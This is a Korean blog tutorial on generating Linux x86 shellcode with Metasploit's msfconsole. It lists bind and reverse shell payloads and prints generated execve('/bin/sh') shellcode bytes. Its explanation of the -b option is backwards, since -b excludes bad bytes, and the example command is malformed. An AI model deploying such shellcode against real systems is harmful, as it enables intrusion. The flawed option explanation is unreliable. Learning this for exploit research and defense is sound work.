본문 바로가기

system

msfconsole shellcode

metasploit 을 이용하여 shellcode 만드는 방법을 소개하겠다.

 

# msfconsole

# show payloads

 

show payloads 명령을 실행하면 다음과 같이 많은 os 환경이나 목적에 따라 여러 가지 shellcode 목록을 볼 수 있다.

 

 linux/x64/shell_bind_tcp                                             normal  Linux Command Shell, Bind TCP Inline
   linux/x64/shell_bind_tcp_random_port                                 normal  Linux Command Shell, Bind TCP Random Port Inline
   linux/x64/shell_find_port                                            normal  Linux Command Shell, Find Port Inline
   linux/x64/shell_reverse_tcp                                          normal  Linux Command Shell, Reverse TCP Inline
   linux/x86/adduser                                                    normal  Linux Add User
   linux/x86/chmod                                                      normal  Linux Chmod
   linux/x86/exec                                                       normal  Linux Execute Command
   linux/x86/meterpreter/bind_ipv6_tcp                                  normal  Linux Meterpreter, Bind IPv6 TCP Stager (Linux x86)
   linux/x86/meterpreter/bind_ipv6_tcp_uuid                             normal  Linux Meterpreter, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   linux/x86/meterpreter/bind_nonx_tcp                                  normal  Linux Meterpreter, Bind TCP Stager
   linux/x86/meterpreter/bind_tcp                                       normal  Linux Meterpreter, Bind TCP Stager (Linux x86)
   linux/x86/meterpreter/bind_tcp_uuid                                  normal  Linux Meterpreter, Bind TCP Stager with UUID Support (Linux x86)
   linux/x86/meterpreter/find_tag                                       normal  Linux Meterpreter, Find Tag Stager
   linux/x86/meterpreter/reverse_ipv6_tcp                               normal  Linux Meterpreter, Reverse TCP Stager (IPv6)
   linux/x86/meterpreter/reverse_nonx_tcp                               normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/meterpreter/reverse_tcp                                    normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/meterpreter/reverse_tcp_uuid                               normal  Linux Meterpreter, Reverse TCP Stager
   linux/x86/metsvc_bind_tcp                                            normal  Linux Meterpreter Service, Bind TCP
   linux/x86/metsvc_reverse_tcp                                         normal  Linux Meterpreter Service, Reverse TCP Inline
   linux/x86/read_file                                                  normal  Linux Read File

....

....

예를 들어, 32bit linux 환경에서의 "/bin/sh" 명령을 수행하는 shellcode 를 만들고 싶다고 하면..

 

# use /linux/x86/exec

# show options


Module options (payload/linux/x86/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute

 

show options 명령을 통해 셋팅해야 할 값들을 확인할 수 있다.

 

 

# set CMD /bin/sh

Module options (payload/linux/x86/exec):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   /bin/sh          yes       The command string to execute

 

/bin/sh 명령으로 설정해주고 show options 을 확인해보면 다음과 같이 현재 셋팅 상태를 확인할 수 있다.

 

# generate

# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"

 

정상적으로 shellcode 를 출력해준다. 만약 "\x00" 이나 "\xff" 가 들어있는 shellcode를 만들고 싶다면,

# generate -b "\x00"\xff"     //     -b 옵션을 사용

 

 

※ shellcode "0x00", "0xff" 

만약 shellcode에 nullbyte(0x00) 가 있을 경우 프로그램의 문자열의 끝을 알리는 NULL 로 간주하여 실행을 멈출 수 있다.

그리고 bash 구 버전에서는 0xff 를 인식하지 못하는 버그가 있다.

'system' 카테고리의 다른 글

difference system call and library function  (0) 2016.04.17
ltrace사용법  (0) 2016.04.17
rp(find rop gadget)  (0) 2016.03.19
checksec.sh  (0) 2016.03.17
Easy RM to MP3 Converter Exploit  (0) 2016.03.10